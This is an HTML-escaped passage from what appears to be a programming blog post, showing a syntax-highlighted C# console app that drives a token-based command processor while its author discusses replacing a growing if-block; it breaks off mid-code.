&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;if ()...&lt;/code&gt; block is 500+ lines and growing&#xA; &#xA;And here is my example command processor (as a console app):&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Reflection&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;ConsoleApplication2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;[e(x)ecute, (t)okens, (q)uit] -&amp;gt; &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyChar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToLower&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;switch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Finished.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;t&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Known tokens:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetTokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;x&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;token: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;tag: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;cmdLine: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;state: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;output&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DoCommand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetStateFromString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 49&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Output:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 50&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 51&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 52&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 53&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 54&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 55&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 56&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 57&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 58&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Unknown error occured during execution. Exception was: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 59&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 60&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 61&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 62&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 63&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Unknown command: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 64&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span 